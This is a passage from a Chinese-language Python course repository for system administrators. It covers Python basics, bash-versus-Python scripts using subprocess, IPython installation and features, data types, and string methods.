├── 01-python.md ├── 02-python.md ├── 03-python.md ├── 04-python.md ├── 05-python.md ├── 06-python.md ├── 07-python连接mysql之MySQLdb模块.md ├── 08-checkio.md ├── README.md ├── exam └── python考核.md ├── pdf ├── 01-python.pdf ├── 02-python.pdf ├── 03-python.pdf ├── 04-python.pdf ├── 05-python.pdf ├── 06-python.pdf ├── 07-python连接mysql之MySQLdb模块.pdf └── python考核.pdf ├── pic ├── 01.png ├── 02.png ├── 03.png └── 04.png └── sides ├── MySQL-python-1.2.5.zip ├── access_log ├── ipython-0.13.1.tar.gz ├── paramiko-1.7.5.zip ├── psutil-4.3.1.tar.gz ├── pycrypto-2.6.1.tar.gz ├── pygame-1.9.2-cp27-cp27mu-manylinux1_x86_64.whl └── redis-py.tar /01-python.md: -------------------------------------------------------------------------------- 1 | # Python 脚本编程及系统大规模自动化运维-python简介 2 | 3 | [TOC] 4 | 5 | ## 拓展阅读 6 | 7 | * python官方文档 http://wiki.woodpecker.org.cn/moin/March_Liu/PyTutorial 8 | * 基础入门:《A byte of Python》 9 | * 查阅字典:《python学习手册》 10 | * 开发型运维:《python+Unix和Linux系统管理指南》《python自动化运维》 11 | 12 | ## 学习的框架 13 | ```Shell 14 | 1)python简介 15 | 2)ipython的安装使用 16 | 3)数据类型 17 | 数字 18 | 字符串 19 | 文件 20 | 列表 21 | 元组 22 | 字典 23 | 集合 24 | 4)流程控制语句 25 | if 26 | for 27 | while 28 | break\continue\pass 29 | range 30 | 5)函数 31 | 6)模块 32 | 7) 类class 33 | 8) 虚拟环境搭建和第三方包的安装 34 | 9) 综合实例 35 | ``` 36 | 37 | ## Python简介 38 | 39 | python是简单的、免费的(BSD)、面向对象的、可读性非常强、交互式的解释型语言 40 | 41 | ### 编译型语言和解释型语言的区别 42 | 43 | * 编译型语言:c c++ java 44 | * 解释型语言:bash python 45 | 46 | * 编译的过程 c语言--------》机器语言 二进制0 1 47 | * 解释的过程 bash--》字符码(中间过程)====》机器语言 48 | 49 | 速度:编译型语言快 50 | 51 | ### 当前使用python编写的程序 52 | 53 | * yum 54 | * gedit 55 | * youtube 56 | * NASA 57 | * 豆瓣 58 | 59 | ### python的历史 60 | 61 | 作者:Guido van Rossum 62 | 63 | 首次发行时间:1991 64 | 65 | 版本系列:2.7 / 3.5 66 | 67 | 分类:强类型动态语言 68 | 69 | 支持系统:几乎全部 70 | 71 | 72 | Python 语言是少有的一种可以称得上即简单又功能强大的编程语言。你将惊喜地发现 Python 语言是多么地简单,它注重的是如何解决问题而不是编程语言的语法和结构。 73 | 74 | Python 语言的官方介绍是: 75 | 76 | Python 是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。 Python 简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。 77 | 78 | ### python的版本 79 | 80 | 版本系列:2.7 / 3.5 81 | 82 | rhel7 2.7.5 83 | 84 | 一般高版本兼容低版本,但是python的高版本不一定兼容低版本 85 | 86 | ### python的中心哲学 87 | ```shell 88 | >>> import this 89 | The Zen of Python, by Tim Peters 90 | 91 | Beautiful is better than ugly. 92 | Explicit is better than implicit. 93 | Simple is better than complex. 94 | Complex is better than complicated. 95 | Flat is better than nested. 96 | Sparse is better than dense. 97 | Readability counts. 98 | Special cases aren't special enough to break the rules. 99 | Although practicality beats purity. 100 | Errors should never pass silently. 101 | Unless explicitly silenced. 102 | In the face of ambiguity, refuse the temptation to guess. 103 | There should be one-- and preferably only one --obvious way to do it. 104 | Although that way may not be obvious at first unless you're Dutch. 105 | Now is better than never. 106 | Although never is often better than *right* now. 107 | If the implementation is hard to explain, it's a bad idea. 108 | If the implementation is easy to explain, it may be a good idea. 109 | Namespaces are one honking great idea -- let's do more of those! 110 | ``` 111 | 112 | ## 一些基础知识 113 | 114 | 交互式shell: 115 | 116 | * bash 117 | * python 118 | 119 | --- 120 | 121 | ### 在bash和python中执行命令的对比 122 | 123 | 下面的例子其实看不出区别多大,但是我们能看到不同的shell做同样一件事情,使用的命令并不相同。 124 | 125 | Shell: 126 | ```shell 127 | $ echo "hello" 128 | hello 129 | ``` 130 | Python: 131 | ```python 132 | >>> print "hello" 133 | hello 134 | ``` 135 | 136 | ### 在python中执行命令 137 | 138 | 在bash中执行`ls -l /tmp`,那么在python中要调用系统命令该如何操作呢? 139 | ```shell 140 | >>> import subprocess 141 | >>> subprocess.call(['ls','-l','/tmp']) 142 | total 16 143 | -rw-r--r--. 1 root root 271 Oct 18 11:49 f1.py 144 | drwx------. 3 root root 16 Oct 18 10:26 systemd-private-e67cf4721d8a406485ba836c215f04aa-colord.service-elJaMh 145 | drwx------. 3 root root 16 Oct 18 10:26 systemd-private-e67cf4721d8a406485ba836c215f04aa-cups.service-Pj9mNR 146 | drwx------. 3 root root 16 Oct 18 10:26 systemd-private-e67cf4721d8a406485ba836c215f04aa-rtkit-daemon.service-wTmvkM 147 | drwx------. 3 root root 16 Oct 19 10:18 systemd-private-f1d37d63f6684cafa2e6d7f420dacffe-colord.service-iMUb3u 148 | drwx------. 3 root root 16 Oct 19 10:18 systemd-private-f1d37d63f6684cafa2e6d7f420dacffe-cups.service-sEomwX 149 | drwx------. 3 root root 16 Oct 19 10:18 systemd-private-f1d37d63f6684cafa2e6d7f420dacffe-rtkit-daemon.service-9bGrzQ 150 | -rw-r--r--. 1 root root 106 Oct 17 16:38 test.py 151 | -rw-r--r--. 1 root root 109 Oct 17 16:53 useradd.py 152 | -rw-r--r--. 1 root root 74 Oct 17 16:52 userlist 153 | 0 154 | ``` 155 | 156 | bash使用非常简单的`ls -l`就能达到目的,而python需要去加载模块`subporcess`才能达到目的;有点类似于bash中的`source` 157 | 这个示例可以看出在系统编程中如何使用pyhton的通用思路。 158 | 159 | ### 写一个python脚本显示系统信息 160 | 161 | ```shell 162 | [root@workstation0 ~]# cat sysinfo.py 163 | #!/usr/bin/env python 164 | # encoding=utf-8 165 | # A System Information Gathering Script 166 | import subprocess 167 | 168 | #Command 1 169 | uname = "uname" 170 | uname_arg = "-a" 171 | print("系统信息 Gathering system information with %s command:\n" %uname) 172 | subprocess.call([uname,uname_arg]) 173 | 174 | #Command 2 175 | diskspace = "df" 176 | diskspace_arg = "-h" 177 | print("磁盘空间 Gathering diskspace information %s command:\n" % diskspace) 178 | subprocess.call([diskspace,diskspace_arg]) 179 | 180 | 181 | [root@workstation0 ~]# python sysinfo.py 182 | 系统信息 Gathering system information with uname command: 183 | 184 | Linux workstation0.example.com 3.10.0-327.el7.x86_64 #1 SMP Thu Oct 29 17:29:29 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux 185 | 磁盘空间 Gathering diskspace information df command: 186 | 187 | Filesystem Size Used Avail Use% Mounted on 188 | /dev/vda2 20G 3.0G 17G 15% / 189 | devtmpfs 483M 0 483M 0% /dev 190 | tmpfs 497M 84K 497M 1% /dev/shm 191 | tmpfs 497M 6.9M 490M 2% /run 192 | tmpfs 497M 0 497M 0% /sys/fs/cgroup 193 | /dev/vda1 197M 125M 73M 64% /boot 194 | tmpfs 100M 16K 100M 1% /run/user/42 195 | tmpfs 100M 0 100M 0% /run/user/0 196 | ``` 197 | 198 | 对比bash的写法 199 | 200 | ```bash 201 | [root@workstation0 ~]# cat sysinfo.bash 202 | #!/bin/bash 203 | echo "系统信息 Gathering system information with uname command:" 204 | uanme -r 205 | echo "磁盘信息 Gathering system information with df command:" 206 | df -h 207 | [root@workstation0 ~]# bash sysinfo.bash 208 | 系统信息 Gathering system information with uname command: 209 | sysinfo.bash: line 3: uanme: command not found 210 | 磁盘信息 Gathering system information with df command: 211 | Filesystem Size Used Avail Use% Mounted on 212 | /dev/vda2 20G 3.0G 17G 15% / 213 | devtmpfs 483M 0 483M 0% /dev 214 | tmpfs 497M 84K 497M 1% /dev/shm 215 | tmpfs 497M 6.9M 490M 2% /run 216 | tmpfs 497M 0 497M 0% /sys/fs/cgroup 217 | /dev/vda1 197M 125M 73M 64% /boot 218 | tmpfs 100M 16K 100M 1% /run/user/42 219 | tmpfs 100M 0 100M 0% /run/user/0 220 | ``` 221 | 222 | 对比bash脚本和python脚本,我们发现他们非常相似,而结果是一摸一样的。 223 | 需要注意的是,在subproce.call中将命令与参数完全分开的写法只是一种,还可以像下面一样: 224 | ```python 225 | subprocess.call("df -h",shell=True) 226 | ``` 227 | `subprocess`模块包含了使用python实现系统调用的代码。 228 | 我们除了使用系统的模块,还可以自己创建自己的模块或文件,供以后使用。 229 | 230 | 231 | ### Ipython-Python学习和应用神器 232 | 233 | ipython有一些特性,比如能够使用tab键补全,可以使用`?`来获取帮助ipython中可以使用help()来获取帮助 234 | 235 | --- 236 | 237 | 问自己几个问题: 238 | 239 | * 如何编写一个简单的python脚本 240 | * 如何将bash脚本翻译成python脚本并执行它 241 | * 如何查询不熟悉的模块或属性的文档 242 | * 如何将一系列连续的命令组织到函数中 243 | 244 | 245 | ### 在Python中使用函数 246 | 247 | bash脚本和python脚本:将命令放在文本中一条接一条地连续执行多个命令 248 | 249 | 手工==>自动完成 250 | 251 | * 函数:代码块--每一行代码属于该函数--可以被调用 252 | * 脚本与函数:脚本中可以包含多个函数 253 | 254 | --- 255 | 256 | * bash定义函数:`fun(){}` 257 | * python定义函数:`def fun():` 嵌套代码-统一的缩进(四个空格) 258 | 259 | ```python 260 | >>> def pyfunc(): 261 | ... print("hello function") 262 | ... 263 | >>> pyfunc() 264 | hello function 265 | >>> for i in range(4): 266 | ... pyfunc() 267 | ... 268 | hello function 269 | hello function 270 | hello function 271 | hello function 272 | ``` 273 | 274 | 我们再使用bash完成以上功能 275 | 276 | ```bash 277 | [root@workstation0 ~]# shfunc() 278 | > { 279 | > echo "hello function" 280 | > } 281 | [root@workstation0 ~]# for i in `seq 1 4` 282 | > do 283 | > shfunc 284 | > done 285 | hello function 286 | hello function 287 | hello function 288 | hello function 289 | ``` 290 | 291 | 我们发现bash和python在函数定义上语法不同,for循环语法也不同但是能看到python更简洁。 292 | 293 | ### 课堂练习 294 | 295 | #### 将sysinfo.py转变成函数:sysinfo_func.py 296 | 297 | ```shell 298 | #!/usr/bin/env python 299 | # encoding=utf-8 300 | #A System Information Gathering Script 301 | import subprocess 302 | 303 | #Command 1 304 | def uname_func(): 305 | uname = "uname" 306 | uname_arg = "-a" 307 | print("系统信息 Gathering system information with %s command:\n" %uname) 308 | subprocess.call([uname,uname_arg]) 309 | 310 | #Command 2 311 | def disk_func(): 312 | diskspace = "df" 313 | diskspace_arg = "-h" 314 | print("磁盘空间 Gathering diskspace information %s command:\n" % diskspace) 315 | subprocess.call([diskspace,diskspace_arg]) 316 | 317 | #Main function that call other functions 318 | def main(): 319 | uname_func() 320 | disk_func() 321 | 322 | main() 323 | ``` 324 | 325 | #### 将sysinfo.sh转变成函数:sysinfo_func.sh 326 | 327 | 对比sysinfo_func.sh和sysinfo_func.py,可以看python和bash有很多相似之处。 328 | 329 | 到目前为止,我们已经是一名能够使用bash或python编写简单函数的程序员了。 330 | 作为程序员,编写程序的过程就是学习的过程。 331 | 332 | #### 修改python和bash代码中的系统调用程序,将其变成自己的内容。 333 | 334 | 可以去尝试实现以下功能: 335 | 336 | 1)查看系统发行版本`cat /etc/redhat-release` 337 | 2)查看系统内核版本`uname -r` 338 | 3)查看系统磁盘信息`df -h` 339 | 4)查看当前系统用户`who` 340 | 5)查看系统运行时间`uptime` 341 | 6)查看selinux的状态`getenforce` 342 | 7)查看内存信息`free -h` 343 | 8)查看网络状况`ifconfig` 344 | 345 | #### 在python中import加载之前写的sysinfo.py 346 | ```python 347 | >>> import sysinfo 348 | 系统信息 Gathering system information with uname command: 349 | 350 | Linux workstation0.example.com 3.10.0-327.el7.x86_64 #1 SMP Thu Oct 29 17:29:29 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux 351 | 磁盘空间 Gathering diskspace information df command: 352 | 353 | Filesystem Size Used Avail Use% Mounted on 354 | /dev/vda2 20G 3.0G 17G 15% / 355 | devtmpfs 483M 0 483M 0% /dev 356 | tmpfs 497M 84K 497M 1% /dev/shm 357 | tmpfs 497M 6.9M 490M 2% /run 358 | tmpfs 497M 0 497M 0% /sys/fs/cgroup 359 | /dev/vda1 197M 125M 73M 64% /boot 360 | tmpfs 100M 16K 100M 1% /run/user/42 361 | tmpfs 100M 0 100M 0% /run/user/0 362 | ``` 363 | 在python中一个模块对应一个文件,反过来,一个文件对应一个模块, 364 | 我们将脚本文件载入到python中,加载的时候,不用带.py,加了反而会失败。 365 | 366 | #### 在python中import加载修改过的sysinfo_func.py,修改内容如下: 367 | ```shell 368 | #main() 369 | if __name__=="__main__": 370 | main() 371 | ``` 372 | 373 | ```shell 374 | [root@workstation0 ~]# python 375 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 376 | [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2 377 | Type "help", "copyright", "credits" or "license" for more information. 378 | >>> import sysinfo_func 379 | >>> sysinfo_func.disk_func() 380 | 磁盘空间 Gathering diskspace information df command: 381 | 382 | Filesystem Size Used Avail Use% Mounted on 383 | /dev/vda2 20G 3.0G 17G 15% / 384 | devtmpfs 483M 0 483M 0% /dev 385 | tmpfs 497M 84K 497M 1% /dev/shm 386 | tmpfs 497M 6.9M 490M 2% /run 387 | tmpfs 497M 0 497M 0% /sys/fs/cgroup 388 | /dev/vda1 197M 125M 73M 64% /boot 389 | tmpfs 100M 16K 100M 1% /run/user/42 390 | tmpfs 100M 0 100M 0% /run/user/0 391 | >>> sysinfo_func.main() 392 | 系统信息 Gathering system information with uname command: 393 | 394 | Linux workstation0.example.com 3.10.0-327.el7.x86_64 #1 SMP Thu Oct 29 17:29:29 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux 395 | 磁盘空间 Gathering diskspace information df command: 396 | 397 | Filesystem Size Used Avail Use% Mounted on 398 | /dev/vda2 20G 3.0G 17G 15% / 399 | devtmpfs 483M 0 483M 0% /dev 400 | tmpfs 497M 84K 497M 1% /dev/shm 401 | tmpfs 497M 6.9M 490M 2% /run 402 | tmpfs 497M 0 497M 0% /sys/fs/cgroup 403 | /dev/vda1 197M 125M 73M 64% /boot 404 | tmpfs 100M 16K 100M 1% /run/user/42 405 | tmpfs 100M 0 100M 0% /run/user/0 406 | 407 | >>> help(sysinfo_func) 408 | 409 | Help on module sysinfo_func: 410 | 411 | NAME 412 | sysinfo_func 413 | 414 | FILE 415 | /root/sysinfo_func.py 416 | 417 | DESCRIPTION 418 | # encoding=utf-8 419 | #A System Information Gathering Script 420 | 421 | FUNCTIONS 422 | disk_func() 423 | #Command 2 424 | 425 | main() 426 | #Main function that call other functions 427 | 428 | uname_func() 429 | #Command 1 430 | 431 | (END) 432 | >>> dir(sysinfo_func) 433 | ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'disk_func', 'main', 'subprocess', 'uname_func'] 434 | ``` 435 | 436 | **编写重用模块的目的:将来在新的脚本中可以重复使用** 437 | 438 | ### __name__属性 439 | 440 | 当__name__等于`__main__`时,说明当前模块被作为脚本运行。不生成pyc文件(因为不是import)。 441 | 442 | ```shell 443 | [root@workstation0 ~]# ll 444 | total 20 445 | -rw-r--r--. 1 root root 162 Oct 19 12:21 sysinfo.bash 446 | -rw-r--r--. 1 root root 592 Oct 19 14:44 sysinfo_func.py 447 | -rw-r--r--. 1 root root 819 Oct 19 14:38 sysinfo_func.pyc 448 | -rw-r--r--. 1 root root 429 Oct 19 12:11 sysinfo.py 449 | -rw-r--r--. 1 root root 442 Oct 19 14:10 sysinfo.pyc 450 | ``` 451 | 452 | pyc是import时被编译过的py文件,加载pyc文件可以跳过语法解析过程。 453 | 如果py比pyc新,那么重新生成pyc;Python3通过__pycache__目录来缓存pyc文件。(避免多个Python解释器无法互相载入对方的pyc文件。) 454 | 455 | --- 456 | 457 | ## ipython 458 | 459 | ipython是工具包中最常使用的一个工具。掌握了这个神奇的shell,就相当于掌握了一个神奇的文本编辑器。越精通他就可以越快速地完成单调乏味的工作。 460 | 461 | ### ipython简介 462 | 463 | 1. ipython 集成了交互式python的诸多优点,性能高于标准的python 464 | 2. 社区 http://lists.ipython.scipy.org/mailman/listinfo/ipython-user 465 | 3. wiki http://ipython.scipy.org/moin 466 | 4. ipython名人Fernando Perez\Ville Vainio 467 | 5. 安装ipython(公网地址)http://ipython.scipy.org/dist 468 | (内网地址)http://example.com/python/ 469 | 源码安装 `python setup.py install` 470 | rpm包 `yum install -y ipython` 471 | 6. 运行ipython`ipython` 472 | 473 | ```shell 474 | [root@workstation0 ~]# wget https://github.com/downloads/ipython/ipython/ipython-0.13.1.tar.gz 475 | [root@workstation0 ~]# tar -xf ipython-0.13.1.tar.gz 476 | [root@workstation0 ~]# cd ipython-0.13.1/ 477 | [root@workstation0 ipython-0.13.1]# ls 478 | docs IPython ipython.py PKG-INFO README.rst scripts setupbase.py setupegg.py setupext setup.py 479 | 480 | [root@foundation0 ipython-0.13.1]# python setup.py install 481 | \============================================================================ 482 | BUILDING IPYTHON 483 | python: 2.7.5 (default, Oct 11 2015, 17:47:16) [GCC 4.8.3 484 | 20140911 (Red Hat 4.8.3-9)] 485 | platform: linux2 486 | 487 | OPTIONAL DEPENDENCIES 488 | sphinx: Not found (required for building documentation) 489 | pygments: 1.4 490 | nose: Not found (required for running the test suite) 491 | pexpect: 2.3 492 | pyzmq: no (required for qtconsole, notebook, and parallel 493 | computing capabilities) 494 | readline: yes 495 | 496 | 497 | [root@workstation0 ipython-0.13.1]# ipython 498 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 499 | Type "copyright", "credits" or "license" for more information. 500 | 501 | IPython 0.13.1 -- An enhanced Interactive Python. 502 | ? -> Introduction and overview of IPython's features. 503 | %quickref -> Quick reference. 504 | help -> Python's own help system. 505 | object? -> Details about 'object', use 'object??' for extra details. 506 | 507 | In [1]: 508 | In [1]: print 1*2 509 | 2 510 | 511 | In [2]: exit() 512 | ``` 513 | 514 | 515 | ### ipython的特性 516 | 517 | 1. Tab自动完成 补全 518 | 2. 魔力编辑 magic edit 519 | 3. 配置ipython~/.ipython/ipy_user_conf.py 520 | 4. 内置魔力函数 521 | %调用魔力函数 522 | lsmagic 列出所有魔力函数 523 | % 524 | %函数 ? 查看帮助 525 | 5. Unix Shell 526 | alias 别名 `alias booboo netstat -luntp` 527 | ! 执行shell命令 `!cat /tmp/file` 528 | rehash 重哈希(更新PATH) `__IP.alias_table` 529 | rehashx 530 | cd 切换工作路径 `cd -q` 531 | bookmark 标签-l -d -r `bookmark t` 532 | dhist 查看历史工作列表 `dhist 3 7`从第3个到第6个 533 | pwd 显示当前目录 534 | 可变拓展 535 | 字符串处理 536 | sh profile 简单的配置集,启动ipython时加载 537 | 6. 信息搜集 538 | page 页less `page -r p` 539 | pdef 显示对象的定义名或函数声明 540 | pdoc 显示函数注释 541 | pfile 运行对象文件 542 | pinfo 提供类型、基础类、命名空间和注释信息等 543 | psource 显示定义的元素的源代码 544 | psearch 查找python对象 545 | who 列出所有交互式对象 546 | who_Is 以列表列出所有交互式对象 547 | whos 打印出所有交互对象的详细信息 548 | 7. 历史 549 | 行支持 readline-based `man readline` 550 | Ctrl+r 启动搜索(bash中Ctrl+s) 551 | Ctrl+a 回到行的开始位置 552 | Ctrl+e 光标跳到行的结尾处 553 | Ctrl+f 用于删除字符 554 | Ctrl+h 向后删除一个字符(相当于backspace) 555 | Ctrl+p 将历史记录中的行向后移动一行 556 | Ctrl-nt 将历史记录中的行向前移动一行 557 | hist hist command 558 | hist 列出所有命令有编号(bash中history) 559 | -n 去掉编号 560 | -t 返回一个被翻译的命令历史视图 561 | -r 准确显示输入了什么 562 | -g 搜索 563 | 历史结果 history results 564 | _ 上次输出 565 | 8. 自动和快捷方式 566 | alias 别名 567 | macro 宏 568 | reset 删除所有变量 569 | run 执行特定的文件 570 | save 保存制定的输入行到指定的输出文件中 571 | rep 自动启用函数 572 | --- 573 | ## 变量 574 | 575 | ### 变量的定义 576 | 577 | #### 变量的命名规则 578 | 579 | * 标识符的第一个字符必须是字母表中的字母(大写或小写)或者一个下划线(‘_’)。 580 | * 标识符名称的其他部分可以由字母(大写或小写)、下划线(‘_’)或数字(0-9)组成。 581 | * 标识符名称是对大小写敏感的。例如, myname 和 myName 不是一个标识符。 582 | * 有效标识符名称的例子有 i 、 __my_name 、 name_23 和 a1b2_c3 。 583 | * 无效标识符名称的例子有 2things 、 this is spaced out 和 my-name 。 584 | 585 | #### 变量的分类 586 | 变量可以有不同类型的值,称之为数据类型。 587 | 588 | 基本数据类型 数字和字符串 589 | 高级数据类型 列表、元组、字典和集合 590 | 591 | ##### 数据类型 592 | 593 | 计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值。但是,计算机能处理的远不止数值,还可以处理文本、图形、音频、视频、网页等各种各样的数据,不同的数据,需要定义不同的数据类型。在Python中,能够直接处理的数据类型有以下几种: 594 | 595 | ###### 整数 596 | 597 | Python可以处理任意大小的整数,当然包括负整数,在程序中的表示方法和数学上的写法一模一样,例如:1,100,-8080,0,等等。 598 | 599 | 计算机由于使用二进制,所以,有时候用十六进制表示整数比较方便,十六进制用0x前缀和0-9,a-f表示,例如:0xff00,0xa5b4c3d2,等等。 600 | 601 | ###### 浮点数 602 | 603 | 浮点数也就是小数,之所以称为浮点数,是因为按照科学记数法表示时,一个浮点数的小数点位置是可变的,比如,1.23x109和12.3x108是相等的。浮点数可以用数学写法,如1.23,3.14,-9.01,等等。但是对于很大或很小的浮点数,就必须用科学计数法表示,把10用e替代,1.23x109就是1.23e9,或者12.3e8,0.000012可以写成1.2e-5,等等。 604 | 605 | 整数和浮点数在计算机内部存储的方式是不同的,整数运算永远是精确的(除法难道也是精确的?是的!),而浮点数运算则可能会有四舍五入的误差。 606 | 607 | ###### 字符串 608 | 609 | 字符串是以''或""括起来的任意文本,比如'abc',"xyz"等等。请注意,''或""本身只是一种表示方式,不是字符串的一部分,因此,字符串'abc'只有a,b,c这3个字符。如果'本身也是一个字符,那就可以用""括起来,比如"I'm OK"包含的字符是I,',m,空格,O,K这6个字符。 610 | 611 | ###### 布尔值 612 | 613 | 布尔值和布尔代数的表示完全一致,一个布尔值只有True、False两种值,要么是True,要么是False,在Python中,可以直接用True、False表示布尔值(请注意大小写),也可以通过布尔运算计算出来: 614 | 615 | ```python 616 | >>> True 617 | True 618 | >>> False 619 | False 620 | >>> 3 > 2 621 | True 622 | >>> 3 > 5 623 | False 624 | ``` 625 | 布尔值可以用and、or和not运算。 626 | 627 | and运算是与运算,只有所有都为True,and运算结果才是True: 628 | ```python 629 | >>> True and True 630 | True 631 | >>> True and False 632 | False 633 | >>> False and False 634 | False 635 | ``` 636 | or运算是或运算,只要其中有一个为True,or运算结果就是True: 637 | ```python 638 | >>> True or True 639 | True 640 | >>> True or False 641 | True 642 | >>> False or False 643 | False 644 | ``` 645 | not运算是非运算,它是一个单目运算符,把True变成False,False变成True: 646 | ```python 647 | >>> not True 648 | >>> False 649 | >>> not False 650 | >>> True 651 | ``` 652 | 布尔值经常用在条件判断中,比如: 653 | ```python 654 | if age >= 18: 655 | print 'adult' 656 | else: 657 | print 'teenager' 658 | ``` 659 | 660 | ###### 空值 661 | 662 | 空值是Python里一个特殊的值,用None表示。None不能理解为0,因为0是有意义的,而None是一个特殊的空值。 663 | 664 | 此外,Python还提供了列表、字典等多种数据类型,还允许创建自定义数据类型,我们后面会继续讲到。 665 | 666 | ## 数字 667 | 668 | 在 Python 中数字的类型有三种 —— 整数、浮点数和复数。 669 | * 2 是一个整数的例子。 670 | * 3.23 和 52.3E-4 是浮点数的例子。 E 标记表示 10 的幂。在这里, 52.3E-4 表示 52.3 * 10 −4 。 671 | * (-5+4j) 和 (2.3-4.6j) 是复数的例子。 672 | 673 | `print 3.14 * 2` 674 | 675 | ### math模块 676 | 677 | ```python 678 | In [1]: import math 679 | 680 | In [2]: print math.pi 681 | 3.14159265359 682 | ``` 683 | 684 | ### random模块 685 | 686 | ```python 687 | In [5]: import random 688 | 689 | In [6]: print random.random() 690 | 0.42926582631 691 | 692 | In [7]: print random.choice([1,2,3,4]) 693 | 2 694 | 695 | In [8]: print random.choice([1,2,3,4]) 696 | 1 697 | 698 | In [9]: print random.choice([1,2,3,4]) 699 | 1 700 | 701 | In [10]: print random.choice([1,2,3,4]) 702 | 3 703 | ``` 704 | 705 | 数据结构基本上就是 —— 它们是可以处理一些数据的结构。或者说,它们是用来存储一组相关数据的。 706 | 707 | * 在 Python 中有四种内建的数据结构 —— 列表、元组、字典和集合。 708 | * 列表、元组和字符串都是序列 709 | 710 | --- 711 | ## 文本 712 | 713 | 几乎所有的系统管理员都需要处理文本, 714 | 715 | * 日志、应用程序数据、XML、HTML、配置文件或是命令的输出结果。 716 | * 之前我们使用grep\sed\awk 717 | * Python更富表现力、更完美的工具 718 | 719 | 本章我们将一起学习如果有效地使用标准库和内建组件来实现文本地处理。 720 | 721 | ### Python的内建功能及模块 722 | 723 | 724 | #### str字符串 725 | 726 | | 字符串 | | 727 | | :--------- | :--------------------------------------- | 728 | | 定义 | 一系列字符组成 | 729 | | 创建 | 'a'or"a"or'''a'''or"""a""" | 730 | | 判断包含 | in;not in | 731 | | 索引搜索 | find();index() | 732 | | 字符切分 | string[index:];string[:index] | 733 | | 判断始末 | startswith();endswith() | 734 | | 删除空白 | lstrip();rstrip();strip() | 735 | | 删除字符 | lstrip('str');rstrip('str');strip('str') | 736 | | 大小写 | upper();lower() | 737 | | 分割符分割 | split() | 738 | | 分割行 | splitline() | 739 | | 数字转化为字符 | '%d'%n | 740 | | 字符转化为数字 | string.atoi();string.atof() | 741 | | 连接字符串 | 'str'.join() | 742 | | Unicode字符串 | u'str';unicode() | 743 | | re正则表达式 | findall();finditer();match();search();compile();split();sub() | 744 | 745 | #### 创建字符串 746 | 747 | | 引号 | 解释 | 748 | | :------------- | :--------------------------------------- | 749 | | 单引号 | 你可以用单引号指定字符串,如 ’Quote me on this’ 。所有的空白,即空格和制表符都照原样保留。 | 750 | | 双引号 | 在双引号中的字符串与单引号中的字符串的使用完全相同,例如 "What’s your name?" 。 | 751 | | 利用三引号("""or”’) | 你可以指示一个多行的字符串。你可以在三引号中自由的使用单引号和双引号。 | 752 | 753 | ```python 754 | In [9]: str1='Quote me on this' 755 | 756 | In [10]: str2="what's your name?" 757 | 758 | In [11]: str3='''this is a multi-line string. 759 | ....: this is the second line. 760 | ....: "what's your name?" I asked. 761 | ....: he said "Bond, James Bond." 762 | ....: ''' 763 | 764 | In [12]: print str1 765 | Quote me on this 766 | 767 | In [13]: print str2 768 | what's your name? 769 | 770 | In [14]: print str3 771 | this is a multi-line string. 772 | this is the second line. 773 | "what's your name?" I asked. 774 | he said "Bond, James Bond." 775 | ``` 776 | 777 | * 如果字符串中没有引号,那么我就用单引号; 778 | * 如果字符串中有单引号,那么我就用双引号; 779 | * 如果字符串中有双引号,那么我就用三引号; 780 | 781 | #### 数据提取 782 | 783 | 字符串是对象,提供了可以被调用以执行操作地方法。 784 | 785 | ##### 判断字符串的包含关系in|not 786 | * `in` string2包含sting1,为真;否则为假 787 | * `not in` string2不包含sting1,为真;否则为假 788 | 789 | ```python 790 | In [16]: name="superman batman wonderwoman green" 791 | 792 | In [17]: 'superman' in name 793 | Out[17]: True 794 | 795 | In [18]: 'leo' in name 796 | Out[18]: False 797 | 798 | In [19]: 'leo' not in name 799 | Out[19]: True 800 | ``` 801 | ##### 子字符串具体位置find()|index() 802 | * `find()` string2.find(string1)返回string1的第一个字符的索引(从0开始),否则返回-1 803 | * `index()` string2.index(string1)返回string1的第一个字符的索引(从0开始),否则异常 804 | 805 | ```python 806 | In [24]: name.index('batman') 807 | Out[24]: 9 808 | 809 | In [25]: name.find('batman') 810 | Out[25]: 9 811 | 812 | In [26]: name.index('leo') 813 | --------------------------------------------------------------------------- 814 | ValueError Traceback (most recent call last) 815 | in () 816 | ----> 1 name.index('leo') 817 | 818 | ValueError: substring not found 819 | 820 | In [27]: name.find('leo') 821 | Out[27]: -1 822 | ``` 823 | 824 | ##### 字符串切分 825 | * `string[index:]` 从索引开始到字符串结尾的每一个字符 826 | * `string[:index]` 从字符串开头到索引位置的所有字符 827 | 828 | ```python 829 | In [29]: name 830 | Out[29]: 'superman batman wonderwoman green' 831 | 832 | In [30]: batman_index = name.index('batman') 833 | 834 | In [31]: batman_index 835 | Out[31]: 9 836 | 837 | In [32]: name[batman_index:] 838 | Out[32]: 'batman wonderwoman green' 839 | 840 | In [33]: name[:batman_index] 841 | Out[33]: 'superman ' 842 | ``` 843 | ##### 判断字符串的开始和结束字符 844 | * `startswith()` 845 | * `endswith()` 846 | 847 | ```python 848 | In [37]: name 849 | Out[37]: 'superman batman wonderwoman green' 850 | 851 | In [38]: name.startswith('superman') 852 | Out[38]: True 853 | 854 | In [39]: name.endswith('green') 855 | Out[39]: True 856 | 857 | In [40]: name.startswith('oo') 858 | Out[40]: False 859 | 860 | In [41]: name.endswith('oo') 861 | Out[41]: False 862 | ``` 863 | 864 | ##### 删除空白 865 | * `lstrip()` 删除前导空白 866 | * `rstrip()` 删除结尾空白 867 | * `strip()` 删除前后空白 868 | 869 | 空白包括tab、空格、回车、换行 870 | 871 | ```python 872 | In [50]: space = "\n\t Some Non-Sacious Text\n \t\r" 873 | 874 | In [51]: print space 875 | 876 | Some Non-Sacious Text 877 | 878 | 879 | In [52]: space.lstrip() 880 | Out[52]: 'Some Non-Sacious Text\n \t\r' 881 | 882 | In [53]: space.rstrip() 883 | Out[53]: '\n\t Some Non-Sacious Text' 884 | 885 | In [54]: space.strip() 886 | Out[54]: 'Some Non-Sacious Text' 887 | 888 | In [55]: print space.strip() 889 